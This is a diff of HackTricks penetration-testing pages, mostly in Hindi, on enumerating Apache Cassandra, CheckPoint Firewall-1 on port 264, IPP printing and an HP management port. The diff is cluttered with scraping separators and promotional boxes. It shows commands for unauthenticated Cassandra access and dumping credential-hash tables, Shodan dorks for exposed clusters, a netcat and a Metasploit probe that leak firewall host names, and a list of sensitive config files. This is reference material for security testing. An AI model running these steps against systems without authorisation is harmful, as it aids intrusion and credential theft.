<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
**अपाचे कैसेंड्रा** एक **उच्च स्केलेबल**, **उच्च प्रदर्शन** वितरित डेटाबेस है जो **बड़ी मात्रा** में डेटा को **कई साधारण सर्वरों** पर हैंडल करने के लिए डिज़ाइन किया गया है, **कोई एकल विफलता बिंदु के साथ** **उच्च उपलब्धता** प्रदान करते हैं। यह एक प्रकार का **NoSQL डेटाबेस** है।
|
**Apache Cassandra** एक **अत्यधिक स्केलेबल**, **उच्च प्रदर्शन** वितरित डेटाबेस है जिसे **कई कमोडिटी सर्वरों** के बीच **बड़ी मात्रा में डेटा** को संभालने के लिए डिज़ाइन किया गया है, जो **उच्च उपलब्धता** प्रदान करता है बिना **एकल बिंदु विफलता** के। यह एक प्रकार का **NoSQL डेटाबेस** है।
|
||||||
|
|
||||||
कई मामलों में, आपको यह पता चल सकता है कि कैसेंड्रा **किसी भी क्रेडेंशियल** को स्वीकार करता है (क्योंकि कोई कॉन्फ़िगर नहीं है) और यह एक हमलावर को **डेटाब
|
कई मामलों में, आप पाएंगे कि Cassandra **किसी भी क्रेडेंशियल** को स्वीकार करता है (क्योंकि कोई कॉन्फ़िगर नहीं किया गया है) और यह संभावित रूप से एक हमलावर को डेटाबेस को **गणना** करने की अनुमति दे सकता है।
|
||||||
|
|
||||||
|
**डिफ़ॉल्ट पोर्ट:** 9042,9160
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
|
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
|
||||||
9160/tcp open cassandra syn-ack
|
9160/tcp open cassandra syn-ack
|
||||||
```
|
```
|
||||||
## जांच
|
## Enumeration
|
||||||
|
|
||||||
### मैन्युअल
|
### Manual
|
||||||
```bash
|
```bash
|
||||||
pip install cqlsh
|
pip install cqlsh
|
||||||
cqlsh <IP>
|
cqlsh <IP>
|
||||||
|
@ -41,29 +44,30 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
|
||||||
SELECT * from logdb.user;
|
SELECT * from logdb.user;
|
||||||
SELECT * from configuration."config";
|
SELECT * from configuration."config";
|
||||||
```
|
```
|
||||||
### स्वचालित
|
### Automated
|
||||||
|
|
||||||
यहाँ बहुत सारे विकल्प नहीं हैं और nmap ज्यादा जानकारी प्राप्त नहीं करता है।
|
यहाँ ज्यादा विकल्प नहीं हैं और nmap ज्यादा जानकारी प्राप्त नहीं करता है।
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script cassandra-info -p <PORT> <IP>
|
nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
### [**ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#cassandra)
|
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#cassandra)
|
||||||
|
|
||||||
### **Shodan**
|
### **Shodan**
|
||||||
|
|
||||||
`port:9160 Cluster`\
|
`port:9160 Cluster`\
|
||||||
`port:9042 "Invalid or unsupported protocol version"`
|
`port:9042 "Invalid or unsupported protocol version"`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट** करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** और PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**CheckPoint Firewall-1** फ़ायरवॉल के साथ बातचीत करना संभव है ताकि आप महत्वपूर्ण जानकारी जैसे फ़ायरवॉल का नाम और प्रबंधन स्टेशन का नाम पता लगा सकें। इसे **264/TCP** पोर्ट पर क्वेरी भेजकर किया जा सकता है।
|
**CheckPoint** **Firewall-1** फ़ायरवॉल के साथ इंटरैक्ट करना संभव है ताकि फ़ायरवॉल का नाम और प्रबंधन स्टेशन का नाम जैसी मूल्यवान जानकारी प्राप्त की जा सके। यह **264/TCP** पोर्ट पर एक क्वेरी भेजकर किया जा सकता है।
|
||||||
|
|
||||||
### फ़ायरवॉल और प्रबंधन स्टेशन के नाम प्राप्त करना
|
### फ़ायरवॉल और प्रबंधन स्टेशन के नाम प्राप्त करना
|
||||||
|
|
||||||
पूर्व-प्राधिकरण अनुरोध का उपयोग करके, आप **CheckPoint Firewall-1** को लक्षित करने वाला एक मॉड्यूल चला सकते हैं। इस कार्रवाई के लिए आवश्यक आदेश नीचे दिए गए हैं:
|
एक प्री-ऑथेंटिकेशन अनुरोध का उपयोग करके, आप **CheckPoint Firewall-1** को लक्षित करने वाला एक मॉड्यूल निष्पादित कर सकते हैं। इस ऑपरेशन के लिए आवश्यक कमांड नीचे दिए गए हैं:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/gather/checkpoint_hostname
|
use auxiliary/gather/checkpoint_hostname
|
||||||
set RHOST 10.10.10.10
|
set RHOST 10.10.10.10
|
||||||
```
|
```
|
||||||
व्यावहारिक क्रियान्वयन के दौरान, मॉड्यूल को फ़ायरवॉल के SecuRemote टोपोलॉजी सेवा से संपर्क स्थापित करने की कोशिश करता है। यदि सफल होता है, तो यह CheckPoint फ़ायरवॉल की मौजूदगी की पुष्टि करता है और फ़ायरवॉल और स्मार्टसेंटर प्रबंधन होस्ट के नाम प्राप्त करता है। यहाँ एक उदाहरण है कि आउटपुट कैसा दिख सकता है:
|
जब निष्पादन किया जाता है, तो मॉड्यूल फ़ायरवॉल के SecuRemote Topology सेवा से संपर्क करने का प्रयास करता है। यदि सफल होता है, तो यह CheckPoint फ़ायरवॉल की उपस्थिति की पुष्टि करता है और फ़ायरवॉल और SmartCenter प्रबंधन होस्ट के नाम प्राप्त करता है। यहाँ एक उदाहरण है कि आउटपुट कैसा दिख सकता है:
|
||||||
```text
|
```text
|
||||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||||
[+] Appears to be a CheckPoint Firewall...
|
[+] Appears to be a CheckPoint Firewall...
|
||||||
|
@ -30,13 +31,13 @@ set RHOST 10.10.10.10
|
||||||
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
||||||
[*] Auxiliary module execution completed
|
[*] Auxiliary module execution completed
|
||||||
```
|
```
|
||||||
### होस्टनाम और ICA नाम खोज के लिए वैकल्पिक विधि
|
### Alternative Method for Hostname and ICA Name Discovery
|
||||||
|
|
||||||
एक और तकनीक एक स्पष्ट क्वेरी भेजने वाले एक सीधे कमांड का उपयोग करती है और फ़ायरवॉल से जवाब पार्स करती है ताकि फ़ायरवॉल का होस्टनाम और ICA नाम निकाल सके। कमांड और इसका संरचना निम्नलिखित है:
|
एक और तकनीक एक सीधा कमांड शामिल करती है जो फ़ायरवॉल को एक विशिष्ट प्रश्न भेजती है और फ़ायरवॉल के होस्टनेम और ICA नाम को निकालने के लिए प्रतिक्रिया को पार्स करती है। कमांड और इसकी संरचना इस प्रकार है:
|
||||||
```bash
|
```bash
|
||||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||||
```
|
```
|
||||||
इस कमांड से आउटपुट विस्तृत जानकारी प्रदान करता है जो फ़ायरवॉल के प्रमाणपत्र नाम (CN) और संगठन (O) के बारे में होती है, जैसा नीचे प्रदर्शित किया गया है:
|
इस कमांड का आउटपुट फ़ायरवॉल के प्रमाणपत्र नाम (CN) और संगठन (O) के बारे में विस्तृत जानकारी प्रदान करता है, जैसा कि नीचे दिखाया गया है:
|
||||||
```text
|
```text
|
||||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||||
```
|
```
|
||||||
|
@ -47,16 +48,17 @@ CN=Panama,O=MGMTT.srv.rxfrmi
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के लिए PRs सबमिट करके और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# इंटरनेट प्रिंटिंग प्रोटोकॉल \(IPP\)
|
# इंटरनेट प्रिंटिंग प्रोटोकॉल \(IPP\)
|
||||||
|
|
||||||
**इंटरनेट प्रिंटिंग प्रोटोकॉल (IPP)**, जैसा कि **RFC2910** और **RFC2911** में निर्दिष्ट किया गया है, इंटरनेट पर प्रिंटिंग के लिए एक आधार के रूप में काम करता है। इसकी विस्तारित किये जाने की क्षमता को **IPP Everywhere** जैसी विकासों द्वारा प्रदर्शित किया गया है, जो मोबाइल और क्लाउड प्रिंटिंग को मानकीकृत करने का उद्देश्य रखता है, और **3D प्रिंटिंग** के लिए विस्तारों की पेशकश की गई है।
|
**इंटरनेट प्रिंटिंग प्रोटोकॉल (IPP)**, जैसा कि **RFC2910** और **RFC2911** में निर्दिष्ट है, इंटरनेट पर प्रिंटिंग के लिए एक आधार के रूप में कार्य करता है। इसके विस्तारित होने की क्षमता **IPP Everywhere** जैसे विकासों द्वारा प्रदर्शित होती है, जिसका उद्देश्य मोबाइल और क्लाउड प्रिंटिंग को मानकीकृत करना है, और **3D प्रिंटिंग** के लिए एक्सटेंशन का परिचय देना है।
|
||||||
|
|
||||||
**HTTP** प्रोटोकॉल का उपयोग करते हुए, IPP को **बुनियादी/डाइजेस्ट प्रमाणीकरण** और **SSL/TLS एन्क्रिप्शन** सहित स्थापित सुरक्षा अभ्यासों से लाभ होता है। प्रिंट जॉब सबमिट करना या प्रिंटर स्थिति का पूछताछ करना जैसे कार्रवाईयाँ, IPP सर्वर पर निर्दिष्ट **पोर्ट 631/tcp** पर कार्यान्वित की जाती हैं।
|
**HTTP** प्रोटोकॉल का लाभ उठाते हुए, IPP स्थापित सुरक्षा प्रथाओं से लाभान्वित होता है जिसमें **बेसिक/डाइजेस्ट प्रमाणीकरण** और **SSL/TLS एन्क्रिप्शन** शामिल हैं। प्रिंट जॉब सबमिट करने या प्रिंटर स्थिति पूछने जैसी क्रियाएँ **HTTP POST अनुरोधों** के माध्यम से IPP सर्वर पर की जाती हैं, जो **port 631/tcp** पर कार्य करता है।
|
||||||
|
|
||||||
IPP का एक प्रसिद्ध कार्यान्वयन **CUPS** है, एक ओपन-सोर्स प्रिंटिंग सिस्टम जो विभिन्न लिनक्स वितरणों और OS X पर प्रसारी है। इसके उपयोगकर्ता की उपयोगिता के बावजूद, IPP, LPD के समान, **PostScript** या **PJL फ़ाइलें** के माध्यम से दुरुपयोग के लिए उपयोग किया जा सकता है, जो एक संभावित सुरक्षा जोखिम को हाइलाइट करता है।
|
IPP का एक प्रसिद्ध कार्यान्वयन **CUPS** है, जो विभिन्न लिनक्स वितरणों और OS X में प्रचलित एक ओपन-सोर्स प्रिंटिंग सिस्टम है। इसकी उपयोगिता के बावजूद, IPP, LPD के समान, **PostScript** या **PJL फाइलों** के माध्यम से दुर्भावनापूर्ण सामग्री को प्रसारित करने के लिए शोषित किया जा सकता है, जो एक संभावित सुरक्षा जोखिम को उजागर करता है।
|
||||||
```python
|
```python
|
||||||
# Example of sending an IPP request using Python
|
# Example of sending an IPP request using Python
|
||||||
import requests
|
import requests
|
||||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
||||||
response = requests.post(url, headers=headers, data=data, verify=True)
|
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||||
print(response.status_code)
|
print(response.status_code)
|
||||||
```
|
```
|
||||||
अगर आप [**प्रिंटर हैकिंग के बारे में और अधिक जानना चाहते हैं तो इस पेज को पढ़ें**](http://hacking-printers.net/wiki/index.php/Main_Page)।
|
यदि आप [**प्रिंटर हैकिंग के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ को पढ़ें**](http://hacking-printers.net/wiki/index.php/Main_Page)।
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का पता लगाएं, हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,17 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ</strong>!</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 2301,2381
|
**डिफ़ॉल्ट पोर्ट:** 2301,2381
|
||||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
||||||
jboss-service.xml
|
jboss-service.xml
|
||||||
.namazurc
|
.namazurc
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
